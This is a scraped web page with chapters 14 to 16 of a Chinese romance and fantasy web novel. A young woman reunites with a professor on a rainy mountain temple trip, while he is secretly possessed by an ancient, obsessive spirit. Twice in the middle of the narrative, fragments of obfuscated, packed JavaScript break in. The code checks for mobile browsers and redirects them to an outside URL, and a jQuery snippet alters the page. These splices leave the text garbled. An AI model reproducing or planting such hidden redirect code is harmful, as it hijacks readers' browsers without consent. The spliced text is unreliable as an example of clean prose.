本已褪色的衣袂倏然招展,壁画里的人缓缓、缓缓低下头。她如愿看见他的眼睛,悲切空洞,睫毛挂着透净的水珠,冷不防滴在她面颊上。 “许久不见,小莲花。” 他弯了弯唇角,似笑非笑,夹带着说不尽的酸楚:“爱恨纠葛、痴缠难断,曲折反复、反复曲折,这轮回里的恩怨,究竟是你与我未尽的缘,还是该断的劫?……看完这段前尘往事,你分清恩与爱的不同之处没?” 她不明所以地看着他,情绪本能受他牵引,跟着一起流泪悲伤。 可眼前的人渐渐化为一团雾,轻柔地托着她降落地面。 那些画作翩然飞回墙壁,颜料淡化,人物与景象相继褪去,显露出墙壁灰黑的原色。墨迹线条抽动扭曲,有意识似的开始自行排列,密密麻麻抽动成形状不一的字体,再到一句两句,最终变成一首完整的诗。 可惜雾气消散的太快,上面的内容来不及看清就没了。 剩下后两句无比清楚。 许菱烟樱唇翕张,磕磕绊绊地念:“借得皮囊,温,旧孽...重将佛火,淬,疯癫...” 咂摸出是什么意思,她通体冰凉,刻入骨髓的固有反应被激发。 许菱烟猛地撤退一步,想要远离那团雾,可它抢先察觉她的念头,不依不饶的跟上来一把抓住她的脚踝,用力一扯,她几乎控制不住的往后倒去,表情惊恐,双手在半空中疯狂挥舞,企图抓住一根救命稻草。 后脑勺即将着地时,她紧紧扣住两侧的扶手,骤然掀开眼帘—— 外头小雨沥沥,窗户不知道什么时候被打开,风裹挟着雨水吹进室内,打湿墙边的石砖地。 有人站在那儿,高大的身躯挡住大片光亮。 听见她弄出的动静,他稍稍转身,面庞一半在明一半在暗,乍看气质温柔,皮下却透着不易被察觉的阴晦,嘴角习惯性扬起一抹得体的笑:“醒了。” 许菱烟心脏跳得匆促,耳畔嗡鸣不止。 她摁着胸口,定了定神,循声望过去,不期然撞入一双熟悉的眼眸中。 亲切、温和、安定。 是她朝思暮想的... 沈渠。 14. 求姻缘 许菱烟不免恍惚:“...梦,还没醒吗?” 不然,沈渠怎么会出现在这儿? “这话是不是应该换我说?” 沈渠关上窗,拉开一扇门,日光立即扑满房间。 他转身走近漆几,拧开保温杯往盖子里倒了一杯水。顿了一顿,他当着她的面儿用杯子抿了一口,举动十分刻意,好像为了证明什么,然后将杯盖递给她。 许菱烟眼神迷蒙,迟迟没回过神,下意识问:“这什么?” “葡萄糖水。” 沈渠随手把保温杯放到一边,虽然面带笑意,但眉宇间藏不住疲倦,“雨下的太大,安全起见,我就近找个地方躲一躲。推开门看见一个女人倒在地上,吓我一跳,还以为出事儿了,本想打电话联系山上的救援队,可手机的信号太差,拨不出去,只能壮着胆子进来看……” 他缓慢抒出口气,回忆起来仍然控制不住后怕。 要说她胆子真的大,竟敢一个人往废弃的休息站闯,万幸来的人是他,否则后果不堪设想。 他平复一下心情,关切地问:“你现在感觉怎么样?有没有哪里不舒服?” “除了使不上劲,没别的了。” “应该是低血糖,把水喝完。” 许菱烟揉了揉额角,从梦里带出来的那阵惊悸散去,她逐渐意识到现状,表情由迷糊转为不敢置信,直勾勾地盯着他,反应诧异到好像第一次见他,“...居然真的是你。” 沈渠扬眉,好笑道:“要不然,你掐我一下辨辨虚实?” 许菱烟尴尬:“算了算了...” 沈渠听出她嗓音的哑,微微抬首,用眼神示意她先喝完再说。 许菱烟老实巴交捧起杯盖,小口嘬着热乎的糖水。 只是味道确实不怎么好,她屏住呼吸,把最后那点灌进嘴里。 刚喝完一杯,沈渠又给续上,解释:“我没带白开水,只有葡萄糖。你淋雨又晕倒,喝点热的暖一暖身体,不然容易感冒。” “好。” 许菱烟闻见糖水淡淡的甜味儿从杯子里流向杯盖,睫毛频繁地扑闪,不太敢直视沈渠,心里有个小人儿正懊恼的疯狂捶地。 这么久没见,她应该重新给他留一个好印象,可是,怎么偏偏在他面前出糗啊啊啊! 许菱烟欲哭无泪,恨不得把头埋进杯盖里,或者找条地缝遁走。甚至因为太尴尬,控制不住开始脑内幻想,如果世界上真有神仙法力就好了,把她落魄的画面从沈渠记忆中清除,只保留她光鲜亮丽的时候。 可事情已经发生了,比起后悔这些有的没的,许菱烟最该庆幸推门进来的人是沈渠,而不是别有心思的陌生人。她从不干会让自己陷入危险境地的蠢事,今天真是鬼迷心窍了。 许菱烟一鼓作气喝掉葡萄糖,将杯盖还给沈渠,真挚道谢。 他笑了笑:“暖和没有?” “托你的福,好多了。” 许菱烟掀开毯子起身,走了几步,感觉力气逐渐恢复。 外头天光渐暗,雨势转小,沈渠提议得赶紧上山,再拖延下去两人真就要在这间没水没电,没床没暖气的破屋子里将就一晚了。况且,入夜之后的深山很不安全,这地方前不着村后不着店,万一有个万一,他们求助都没办法。 许菱烟知道沈渠不是唬人,立马收拾东西跟他走,还不忘带上那张毯子,“我没找到二维码,擅自用了人家的东西,之后得把钱补上。” 沈渠把相机装入自己的防水背包里,先一步出门撑起伞。 雨珠砸落伞面,噼里啪啦作响,掩去她的声音。 他没听见她的话,招手示意她快来。 许菱烟走到门边,冷不防看见这场面,一时之间有些愣神。 濛濛细雨中,男人身形挺拔,松竹一般立在那儿。 乍看起来清瘦,实则肌肉练得结实,宽肩窄腰,活脱脱的衣架子,轻松将常规款登山服穿出完美效果,低调的烟灰色反而衬得他肤白,有种遗世独立的清冷感。 许菱烟心动难抑,不真实感达到顶峰。 与其用巧合解释突如其来的重逢,更像她误闯仙境撞见了心软的神明。 许菱烟联想到壁画描绘的传说,以及醒来忘得一干二净却仍残留神异感的梦,心中荡起诡秘的涟漪,让她不自觉地扭捏起来,小动作不断。先将碎发挽去耳后,揉了揉泛红的面颊,又抻了一下衣服,步履矜持地钻入他伞下。 遇见许菱烟是沈渠计划之外的变故,他带的中号伞要容纳两个成年人略显勉强,走起路时难免会产生肢体接触。 纵然两人都穿得厚实,每碰一下,除了衣料摩擦的窸窣声很难再有别的感觉,但他还是稍微侧了一下身体,避让她的胳膊,用胸膛朝向她。 原本没有路通往院子,人走得多了,把土踩实,就变成了一条蜿蜒小路。连绵的雨水泡久了,土质变松软,泥泞不堪。 许菱烟的鞋子、裤腿溅满泥点子,已经脏的不能看。 情况特殊,她顾不上个人形象,小心踩着边缘硬质的地方跨过水坑,没想到有块儿尖锐的石头藏在土下,鞋底一打滑,身形剧烈地晃荡,心脏立即跳到嗓子眼,挤压出一声惊恐地低呼:“呃——!!”。 许菱烟的鼻尖就快贴上泥泞的水坑,受惊放大的瞳仁倒映着水珠打落泛起的涟漪,潮湿新鲜的泥土味扑面而来。 千钧一发之际,结实有力的臂膀环绕住她一把细腰,使劲向上提起,危机场景立马发生转变。 她被这力道硬生生拽起来,隔着几层厚实的衣服,她仍能感到他五指迅速向内收拢,细肉被狠掐着,痛感强烈,难说不会留下印记。 可这还没结束。 许菱烟恍觉身体变得轻飘,像一件对折悬挂在杆子上的衣服,抬眼竟然看得见自己离地的双脚,一阵天旋地转之后,稳稳当当地落回地面。 一切发生在短短几秒钟内,许菱烟头晕眼花,身体好像和脑袋短暂分家了,不听使唤的向旁边踉跄,不偏不倚,一头栽入沈渠怀里。 他很明显的僵了下,刚要拿开的手堪堪虚空悬停在她腰间,喉咙与心脏一同骤缩。 “你……” 一开口,声音格外沙哑,他赶紧清嗓掩饰异样,提醒她注意脚下。 低沉性感,又带着一股不食人间烟火的嗓音近在咫尺,许菱烟听着耳朵都快烧着了。 她轻抚心口,缓和后怕的情绪,装作没发现他微微抬起、随时准备抽离的手,故意用手肘向内一夹,压住他胳膊,致使他的掌心重新贴上她的腰。 做完“坏事”,她不动声色偷窥他的反应。 沈渠长睫很轻微地颤了下,对许菱烟的主动感觉意外又心动,却没有顺势维持亲昵。他耐心等她抬起胳膊,手便也离开她的衣服,隔空形成一个环绕保护的姿势。 一本正经说:“你先走。” 许菱烟抬头看了一眼,“这样方便打伞吗?” “放心,”他眼角眉梢挂着笑,“不会让你淋着。” 许菱烟别过头,嘴角绷不住上翘,内心偷着乐。 天黑的很快,没走多久就暗的伸手不见五指。 沈渠从背后侧面取出应急灯,阶梯路水淋淋的,镜面似的反射出光亮,模糊台阶边缘,稍有不留心就可能踩空摔下去。 许菱烟爬出一身冷汗,盯着阶梯看久了,眼睛又疼又花。或许恐惧作祟,她双腿发软,每一步都迈得小心翼翼,本就缓慢的前进速度更加磨蹭。 沈渠觑了一眼手表,对到达目的地的时间有个大概判断,正准备说点什么给许菱烟鼓鼓劲儿,突然听见她发出一声娇气哀怨的叹息。 他循声低头,眼底倒映出她薄红的脸颊,像颗汁水丰沛的桃子,漂亮极了。 “怎么?” “停一会儿吧...” 许菱烟一副苦大仇深的表情,很明显, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈渠没拆穿她的小心机,半搂半抱着往前走了一段路,突兀地开口:“你不生气?” 话题转变得太快,许菱烟思路没跟上,“为什么生气?” “明明约定了一起去公园,可我一而再再而三的推迟和你见面,导致错过了最佳赏景期,”沈渠态度诚恳,“你应该生气。” “情有可原嘛,”许菱烟大度地摆手,“我知道的,也没那么小心眼。” 默了一默,沈渠直视她,轻巧地挑开暗昧这层纱,“是真豁达,还是认为我的态度无关紧要?” 许菱烟一怔,怦动的情绪愈演愈烈,表面强装淡定,“我是不是应该扑进你怀里又哭又闹,你才愿意相信?还是说,沈教授其实喜欢作精类型的女人?” 沈渠绷不住,摇摇头,无可奈何一笑,态度却肃然:“没有及时向你解释原因就擅自推迟约会是我不对,你有权生气。” 许菱烟点点头,速即皱紧眉,鼓起两腮,唇边抿着,摆出怒火中烧的表情,毫无震慑力地瞪向沈渠,“为什么推迟约会,从实招来。” 沈渠十分上道,配合地低眉搭眼,认真解释。 “家里老人生病了,迟迟不见好,我一直待在医院陪护走不开。期间陪着叔伯一起到灵源寺上柱香,求了一串保平安的珠子。手术之后,老人身体指标转好,医生也同意回家疗养,我留下来多陪了一天,确认没事了,特地赶来寺里还愿,打算在山上住一晚,明天就回去找你。” “很正当的原因,”许菱烟眉眼生动,面庞皎如云中月,“我原谅了。” “谢谢。”沈渠一边接戏,将应急灯夹在腋下,腾出手再次接过伞,放纵她将冷冰冰的手塞入自己外衣口袋取暖,“那我可以问问,你为什么来这儿吗?” “还能是什么原因...”许菱烟直直地盯着沈渠,眸中仿如落了一池星光,“听说灵源寺求姻缘很准,我诚心实意的过来拜一拜,盼望神仙保佑我喜欢的人快回来见我。” 15. 执念 淅淅沥沥落了一整个下午的小雨终于停了,山间寂寥无声,偶尔冷风吹拂,绿叶簌簌,树影婆娑。绵延入林间的阶梯路上,有两道紧密依偎的绰约人影。 枯叶打着旋儿飘落脚边,踩过去时发出咔嚓脆响。 沈渠用一种近乎缱绻的眼神注视许菱烟,又似乎掺杂着难以言明的深谙。 良久,他率先别过头,收起伞反手塞入背包一侧,举起应急灯照亮前路,另只手伸进口袋跟她十指相扣,牵引她一步一阶的缓慢前行。 “明天还愿的时候,”沈渠突兀开口,语调没有太大起伏,因而不易被发觉其中掩藏几分萧条的叹惋,“我多捐一些香火钱,保佑我们,尤其是你,心想事成。” 感受着他掌心的湿热,许菱烟指尖发烫蜷缩。 她轻抿唇角,眉眼柔和,附和:“好呀。” - 眺望见寺里的光亮,两人终于能停下步伐,安心歇了会儿。 沈渠看着许菱烟异常红艳的脸色,担心她体力不支,从背包里拿出一袋小面包,拧开保温杯一起递给她,“热的。你不喜欢喝,只抿一口也行。” 许菱烟又累又冷,湿漉的水汽打湿她头发,冻得浑身发麻,为数不多的力气全用在爬坡上了。 早饭之后再没吃东西,贺骁买的零食都装在另一只包里被他帮忙拎走了,许菱烟肚子饿得咕噜响,却毫无食欲。 尽管如此,她还是接过面包小口小口地啃着,间歇喝口水润润嗓,以免待会又晕了,给沈渠添麻烦。 休整的差不多了,两人再度出发,眼瞅不到百米就登顶了,突然听见一道高亢的女声传来,情急地呼唤许菱烟。 乌漆嘛黑的环境,凄厉叫嚷一声接着一声,波纹似地荡漾开,余音围绕山顶经久不散,听起来怪渗人。 许菱烟这才想起刚刚只顾着谈情说爱了,忘记告诉沈渠自己这一趟的真实目的。 她对上他投来的疑惑目光,尴笑两声:“别怕。不是女鬼,是我朋友。” 沈渠:“……” 许菱烟没力气回话,干脆让叶婉筱先吵吵着,被沈渠拉着哼哧哼哧往上爬的时候,顺便给他讲一讲她来这儿的原因。刚说完,便看见阶梯尽头有一束晃动的光束,赶紧挥手回应。 叶婉筱看清是许菱烟,悬起的心一下子踏实了,把手电筒扔给贺骁,跑过去迎接。 她绕着她上下左右、仔仔细细看了一圈儿,确认她毫发无损,松口气的同时红了眼眶,“你怎么回事,怎么搞到这么晚才上山?手机还关机了。” “下大雨,山路太滑,不安全,我就近找个地方躲了一会儿。手机是因为没电了才会关机,充电宝放旅行包里,没随身带着,”许菱烟顾不上脏兮兮的衣服,虚环住叶婉筱,给了个大大的拥抱,安慰,“哭什么,我这不好好的嘛。” “你没事当然最好了。” 叶婉筱嘀咕一句,难为情地摸掉眼尾泪珠。 今天下午真把她吓得够呛,忙完还愿的仪式,天色已晚,可许菱烟迟迟没出现。她生怕她有个好歹,雨势太大,他们两个沿途找回去又怕遇上棘手的情况应付不了,所以着急忙慌的向救援队求助,人家得到信儿正准备出动,许菱烟就赶回来了。 万幸及时赶回来了。 贺骁也是惊魂未定,一个劲愧疚自己没有等许菱烟。 但他情绪还没来得及释放就收住了,只因余光窥见她身后阴影里杵着个人,瞧不清具体的模样,只有大致轮廓,跟魂儿似的,一声不响。 直接给贺骁造成二次惊吓。 叶婉筱也注意到许菱烟背后还有个人,歪头,好奇地观察。 许菱烟往旁边退了一步。 灵源寺门口的微光照亮男人,五官清俊,风度矜雅,乍看起来令人如沐春风,是一张很容易获得好感的皮囊。 叶婉筱眼睛亮了一下,意味深长地瞟向许菱烟,误以为灵源寺求姻缘的力量竟然如此强大,她人还没到地方,先捡回来个超级无敌大帅哥。 许菱烟顺势介绍彼此认识。 一听名字,叶婉筱顿然醒悟般,“原来是沈教授。” 沈渠微怔:“你认识我?” “经常听菱烟提你,多少有点印象。” 闻言,沈渠觑一眼许菱烟,她却没了刚刚和他单独相处时的胆量,鹌鹑一样缩起脖子,只留给他泛起暧昧绯红的耳廓。 沈渠睫毛低垂,遮去眼底翻涌的小雀跃,礼貌性握了一下叶婉筱和贺骁的手。 不到一秒钟,两人却都感受到他冷成冰块的体温,猜测是晚上爬山沾得湿气,赶紧带他们去住处,沿途碰见自助贩售机,顺便买了一盒预防感冒的冲剂。 供给香客暂住的地方严格来说不属于灵源寺的范围,但离得也不远,步行十分钟就到。从外观看就是古香古色的民宿,没什么稀奇的,走进去之后,装潢就更现代化了。 在前台登记后,沈渠订的房间刚巧就在两个女人隔壁,顺理成章和她们同行。贺骁则单独住楼上,房间位置也偏远,要走另一边的楼梯。 贺骁拿着房卡,嫌弃地皱眉,不过这会儿想换也来不及了,反倒容易显得他居心不良一样。他无奈地叹气,一步三回头,依依不舍地瞟叶婉筱。 要不是刚跟沈渠见面,关系还不熟络,贺骁高低得厚着脸皮求人家收留自己一晚,只要能离叶婉筱更近一点就行。但看叶婉筱无所谓的冷漠态度,贺骁的想法立即打消,蔫头耷脑说声“明早见”,认命地爬楼去了。 原以为房间挨着,实则走廊拐了个弯儿,一间在拐角处,另一间还要往前多走一段路。 叶婉筱很有眼力见,先刷卡进门,示意许菱烟去给沈渠送药,理由找的很正当:“相机千万别忘记拿回来,我还得用你拍得照发朋友圈呢。” 等不及回应,门就关了。 许菱烟盯着门板凌乱几秒,慢吞吞转身,双手一摊,没辙了。 沈渠被她的动作逗笑,体贴说:“就在这儿给吧。” “……嗯。” 走廊阒寂亮堂,照得男女之间那点缠绵的心思无处遁形。 沈渠倚靠墙壁,垂眼静静注视她,慢条斯理的把玩磁卡。 空气似乎变得粘稠,许菱烟突然腼腆起来,感知到他的视线却不肯承接,指尖使劲儿抠药盒的密封贴,边沿坑坑洼洼的,愣是没撕开。 翻飞的磁卡一停,沈渠伸手,“我来。” 许菱烟忙不迭递过去。 她不敢多说多做什么,感觉看他一眼都像在调-情。 倒不是她的心思见不得光,主要是场合不对。 不信神佛,不代表不敬神佛。 沈渠取了两包冲剂,剩下的和相机一起还给她,问:“你们明天一大早走?” “原计划,是的。” 原计划? 他又问:“现在改了?” 许菱烟抬头,安静地看向他,眼神平淡无辜,细看却像钩子,引诱他控制不住地思考:你希望吗,希望我为你改变计划吗。 沈渠抿唇,一时沉默无言。 走廊重新恢复先前的窄静,甚至能清楚听见彼此的呼吸。 几秒之后,天花板的声控灯灭掉的瞬间,许菱烟感知到沈渠的靠近,衣料互相轻轻擦过,发出的细微声连灯都没惊扰,像极了隐秘的耳语。 许菱烟心跳怦然,难耐地舔了下唇,没退开。 “明天……”沈渠一开口,嗓音因为奔波沙哑的厉害,裹着砂砾般磨蹭许菱烟的耳朵,在黑夜中显得异常清晰。 声控灯立即亮起,晃得两人都眯了下眼,模模糊糊的,她看见他喉结不自然地滚动,“天气预报说会持续降雨,下山的阶梯路会很滑。” 许菱烟闷闷地嗯了一声,知道这是托词。 今天出发前她了解过天气,下午那场雨结束,自明天起连续一周都是大晴天。 可眼下,她控制不住目光瞥向他的手臂,想起他捞起她的时候肌肉绷得紧实,怀抱暖和踏实,除了雨水的潮涩,还有淡淡的洗衣液味,混着一点陈旧的檀香气。 “还有那条盘山路,极端天气更危险,”沈渠补充,磁卡锋利的边缘刮过指腹,他却像没有痛觉,持续用力压实,“我经常跟家里人来这儿拜佛,对路况很熟,需要的话,我可以带路。” 许菱烟听出他的暗示,指尖蜷了蜷,“这样,是不是太麻烦你?” 沈渠摇头。 “顺路的事儿。明天我也要赶回学校销假,再耽误下去,恐怕校领导们得闹意见了。” 沈渠有意调节暧昧到近乎窒息的气氛,却因为心猿意马,一言一行都显得很不自然。 他目光极缓慢地、一寸寸掠过她低垂的睫毛,挺翘小巧的鼻尖不知道什么时候溅上一点泥水,干涸之后,乍看像颗褐色小痣,最终向下停在她微抿的唇线上。 一门之隔,悠扬的音乐声传来,温柔唱着“我和你在一起,谈天说地,爱不需要勇气,慢慢延续……在合适的年纪,遇上了合适的你,在一起……1” 不用猜就知道是谁搞鬼。 许菱烟真服了叶婉筱,刚涌上心头的悸动被她一打岔,顿时消散的差不多了。她这会儿只想敲敲门,让她安静一点,忽然瞟见沈渠抬起手,好像想碰一碰她的脸。 许菱烟心脏咚咚狂跳,呼吸短促。 可沈渠却中途停止,改蹭了一下自己的鼻尖。 欲盖弥彰。 将要不要的动作悬在两人之间,许菱烟咽了口唾沫,抬起眼,不偏不倚撞入沈渠如深潭的眸中。她这才恍然发觉他们靠得太近了,近到可以看见他瞳孔中有自己小小的倒影,像被一池春水囚禁。 许菱烟呼吸几不可察地滞了一瞬,“那……我跟朋友们说一声,明天等你忙完一起走。” “好。”沈渠嘴角极轻微地扬了扬,一抹如愿又克制的弧度。 声控灯恰时熄灭。 黝黑夜色如潮水漫过,谁也没动。走廊一侧的窗打开条缝隙,依稀可见山间朦胧雾气,月光顺势斜切进来,将他们拢入缥缈的幻境中,影子拉长交叠、模糊不清,分不清彼此,仿佛就此融为一体。 从远方传来隐约钟鸣,敲破冗长的寂静。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094233|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许菱烟挽起耳边的碎发,鼓起勇气向沈渠靠得更近,垂落身侧的手蠢蠢欲动,随便谁先主动,轻易就能握住。 沈渠像没察觉,只是规矩站着。 “今天爬了这么久的山,睡觉前记得洗个热水澡或者泡一泡脚,放松身体,免得一觉醒来走不动路,”他声线低沉得像情-人之间的呢喃,轻柔擦过她的耳廓,“明天不用急着早起,睡醒再出发也来得及。” 许菱烟心头涌入小小的失落,“真来得及?怎么我们开车将近一天才到...” “因为你们缺个当地人引路。” 沈渠目不转睛看着两人重叠的影子,正随月光摇曳缠绵,一股酥麻的感觉自尾椎骨逐渐攀爬上头顶。他眯了眯眼,说:“时间不早了,回房间吧。” “...好。” 许菱烟慢吞吞的往门边移,依依难舍,“晚安。” 沈渠:“晚安。” 话音刚落,房门从内被拉开,叶婉筱探出一张笑脸——她压根没进去,一直贴着门板偷听他们讲话,掐准时机放音乐烘托气氛,一听两人互道晚安,音乐也戛然而止,她恰时出现同他打招呼:“不用商量了,明天约好一起走呀。沈教授。” 沈渠报以礼貌微笑,最后看了一眼许菱烟,转身离开。 两边关门声几乎同时响起,又几乎同时消失于浓浓夜色中,空气里还残留一丝檀香气与女士香水混合的、微甜的余味。 少顷,气体化为有形的银色丝线,自发沿走廊向前蜿蜒,拐个弯,顺着房门的底部缝隙钻进去。 房间内一片漆黑,乍看好像有个人站在玄关,仔细一瞧又不太像人,轮廓模糊不清,边缘冒着股股翻滚的黑烟,就算待在没有一丝光线的地方,墙上竟然还能映出影子。 而影子的形状和人就更不像了。双方的个头相仿,身板却更挺拔结实,面容不真切,却意外看得清一双眼睛,极尽贪婪地盯着那缕银丝逐渐融入体内,发出一声绵长且餍足的喟叹。 窗外,钟鸣声又一次响起,由远及近,越来越近,近到仿佛快要打碎玻璃闯入房间。 影子一晃,脱离墙壁的桎梏,飞快钻入人身体内,呆站在那儿的沈渠一下子睁眼活了过来,大步流星走到窗边向外眺望,借着月光,隐约看见灵源寺的钟楼。 玻璃倒映出他的脸,平时的斯文温良不再,一双眼没有眼白,黑魆魆的,渗着阴狠偏执。 虽然皮囊还是沈渠,但气质却彻底变成了另外一个...称不上人的东西。 钟声一阵接着一阵,萦绕在山间迟迟没有散开,只有他听得见里面掺杂的其他人声,一会儿是孩童,一会儿是青年,一会儿是老者,一会儿是男人或女人。总之,不管怎么嘈杂紊乱,最终统统归为一道中气十足地狂笑:“你的执念太重了,一千多年过去还不肯罢休,当心害了自己也害了她。” 房间内气压低沉得可怕,温度降至冰点,空气被冻结。 内外的气温差致使窗户上泛起一层雾气,氤氲了他的面容,眼里的黑雾快速散开,又变得和正常人一模一样,湿冷的气息如退潮般消失,钟声因此停止,扰人的笑声也没了。 山林恢复沉寂,云朵逐渐合拢遮住所有月光,天地黢黑,一切静如往常。 沈渠仰起头盯着天花板,眼前却浮现出许菱烟的样子,千年前的和现在的不断交替,找不出一点儿区别。他鼻尖泛酸,凄凉的泪逐渐充满眼眶,最终顺着面颊滑落。 当初他们夫妻恩爱非常,却因为一场意外阴阳相隔,死后甚至无法葬在一起。他遗憾万分,只想跟爱妻再续前缘,究竟有什么错?不食人间烟火气的神仙哪懂这份痴情,更不可能体谅他因为思念妻子,千年来从未消停的一颗心。 沈渠缓缓呵出口气,努力压抑住疯狂的念头,闭眼感受那颗始终只能保持同一频率跳动的腐朽心脏,庆幸许菱烟扑进怀里时没发现端倪。随后用袖子擦掉窗户上的水雾,远眺灵源寺的方向,脸上的哀戚被阴鸷取代,“我铁了心要她。” “你,拦不住。” - 另一间房内。 “快把音乐关了,听得我头疼。”许菱烟将睡衣和护肤品相继拿进浴室,还不忘给手机充电,开机之后,连上房间的网络,分别给父母和卢桃报平安,弯腰从柜子里拿出一双凉拖,准备去洗澡。 叶婉筱跟屁虫似地追着问:“你俩进展到哪一步了?牵手、拥抱有没有?该不会已经确认关系,没打算告诉我吧?那也太不够意思了……” 许菱烟曲起手臂撑住浴室门,看她的眼神玩味,“要不,你先跟我聊聊贺骁?” “……” 叶婉筱果断转身,“洗澡吧你。” 刚走到床边,叶婉筱突然想起某件事,扬声问:“下午雨这么大,你去哪儿躲着了?” 她明明记得山间没有休息区的。 浴室隔音效果不错,许菱烟哼着歌儿往胳膊上擦沐浴露,耳边只有花洒水流的哗哗声。 叶婉筱正打算走近再问一次,恰巧热水烧开,她先给她冲药剂,一边搅拌一边刷短视频,很快就忘了刚才那一茬。 16. 圣人私心 运动量超标之后的睡眠格外踏实,许菱烟久违的一夜无梦直到天亮,多亏睡前洗了个热水澡,又按摩了一会儿双腿,哪怕第二天醒的很早仍不觉得疲倦。 叶婉筱昨晚不知道玩到几点才休息,这会儿还熟睡着,寂静房间里依稀可以听见她轻轻的呼吸声。许菱烟放轻动作,抓紧时间洗漱,换衣服到一楼的食堂吃早饭。 民宿早餐只有斋饭,但味道好极了。 许菱烟拍照发到家族群里分享,随即收到沈渠的消息,歉疚说没想到上香的人竟然有这么多,他从天不亮排队到现在,恐怕还要有个把小时才能结束,她着急的话,可以跟朋友们先离开。 许菱烟:不急。 思索以后,补充一句:我等你。 等了几分钟,沈渠回复了一张和他风格很不符的卡通表情包,萌萌的小兔子举起爪,反复鞠躬道谢。是他在网上现找的图,成功博她一笑。 眼看时间还早,许菱烟犹豫要不要回房间补个觉,转念一想还是算了,一个人沿着山路悠闲赏景,晃晃悠悠的前往灵源寺。 昨天叶婉筱告诉她,保平安的串珠没了,如果她想要,可以去找主持求张符。或许因为许菱烟祈求的心不诚,纵使今天来得早,照样没领到符。 许菱烟倒不觉得遗憾,进殿内拜了拜,随后四处漫步,观赏这座前年古寺。 刚穿过拱门,猝不及防就变了天,豆大的雨点劈头盖脸地砸落。 许菱烟匆匆跑进附近的长廊底下,抬头看了一眼乌云翻滚的天空,感喟沈渠比天气预报还准,说要下雨,最后竟然真下了。 她不忘问他有没有地方躲雨,等了会儿没等到回信,一个人漫无目的地到处溜达。 长廊四通八达,许菱烟绕着走了几圈难免迷失方向,误打误撞进入一间讲堂。 里面稀稀拉拉坐着一些香客,台上有位年轻师父正在传经。她暂时无处可去,没见门口有人管理,便蹑手蹑脚地溜到后排落座。 聊到“因果循环”一说,为了帮助大家理解,小师父讲起一则神话传说。 许菱烟初始觉得情节耳熟,直到听见“并蒂莲”才恍然忆起昨天偶然看见的壁画,不过小师父讲得是那上面没有记载的后半部分,有关那朵莲花受伤之后的事。 据说莲花途中失血过多晕死过去,自始至终都没看清恩人的模样,心里却种下一颗报恩的种子。 沧海桑田,时移世易,这颗种子疯长成执念,她对此毫无察觉,一心只想他,压根没注意身边多了一块沾了她血得以修炼成形的顽石。 之后从过路的其他神仙口中偶然得知,如果长久得不到供奉,或无法用神力造福苍生,或滥用神力满足私心,便会被打回凡间重新历劫。 凡历劫者,必要经历生苦、老苦、病苦、死苦,爱别离苦、怨憎会苦、求不得苦,五阴炽盛苦1。 前四苦为生理的根本之苦,自然规律无法避免,见惯生命的诞生和殒灭,多数凡人自然而然就想开了,能够坦然接受。但后五苦则更难熬,只要人活一天,对外界还有执念,心理之苦就不会断绝,哪怕肉-体毁灭,精神仍会继续遭受苦难折磨1。 尤其五阴炽盛苦,作为所有苦难的根源,指的是构成凡人身心的五蕴无常、迁流不息导致的不安与痛苦。简而言之,人身心的存在便是苦的根源1。 多得是被贬下界的神仙无法参破这一层,继而被卷入滚滚红尘中,辗转于爱恨情仇,受色、受、想、行、识所累,毁在心理之苦上,永生永世轮回受难。 莲花没开悟,不懂得他们说得意思,只意识到,她要报恩的对象极有可能不在这儿了,可心里仍抱有一丝侥幸。 直到瑶池盛会上,众仙齐聚,唯独不见那道身影,她不得不接受现实。 自此,莲花郁郁寡欢,终日不分昼夜地趴在瑶池边往凡间张望,期盼有一天可以寻到对方,哪怕只是相似的身影也好。 这么一味痴痴地等啊等、盼啊盼,待身上的伤痊愈,另外一朵莲花如期化形,强硬地拉她回到菩萨身边修行,她仍然没寻到他。 为了区分两朵高度相似的莲花,菩萨赐名真如、妙有。 一个如静水,一个如波纹; 一个是万法不变的真实本性,一个从中呈现的森罗万象。 一体一用,构成完整的世界2。 原本命运自有安排,偏偏一场意外改变了她们诞生的顺序,妙有没到开悟的时候就匆匆降临,心被别的人、别的事占满,完全不在修行上,反而对凡间俗事很感兴致,闲来无事就趴在玉雕栏杆边儿到处张望。 瞧见人喜,她便喜; 瞧见人悲,她便悲; 瞧见人恨,她便恨; 瞧见人怒,她便怒... 情绪全被外界牵着走,七情六欲浸染本心。 真如觑一眼她始终不肯脱下的那件男子衣裳,无可奈何地叹:“你这样痴缠下去,早晚酿成大错。” “我心系苍生还有错了?” 妙有头也不回,专心观看凡人成婚的场景,津津有味,“神仙又不是生来就是神仙的,多是由凡人供奉才得以存在,我们之所以修炼,不就是为了有足够的能力回报、造福苍生吗?如若有一天,世间没了苍生,自然也就没了神仙,那你再努力修炼也无用。” “道理没错,可你整日趴在这儿找来找去的,目的究竟是出于大爱还是私心,你自己清楚。” “我哪儿来的私心!” 妙有气鼓鼓地:“你少污蔑人。” 她拎起衣摆大步流星地走近,雪白脚踝上系着的铜铃叮当作响,沿途落了一地的赤红花瓣,颜色从中心向四周淡化,模糊成粉色,芳香四溢。 她不客气地揪了她一下,掌心攥了一把青色花瓣。 真如不为所动,闭眼,专注打坐。 妙有自顾自说:“我们已经不是溪水边那株普普通通的并蒂莲了,如今你变成青莲,掌管智慧,我变成赤莲,掌管慈悲,凡人特地雕刻神像供奉我们,既受无尽香火,便不能对他们的悲欢离合不闻不问。况且他们所求不多,只是上我这儿哭一场,诉说心事,讨一个宽慰而已。” “世事漫随流水,谁敢保证自身一生无虞?当初我们长在溪水边,风吹日晒,无时无刻不遭受浪花拍打,痛不欲生...” 妙有声音低下去,眼前又浮现出那道模糊的身影,时隔太久,她连他的味道都快记不清了,不由得沮丧叹息,“我受他人救护方能活,自然无法对他人的苦痛冷眼旁观。” 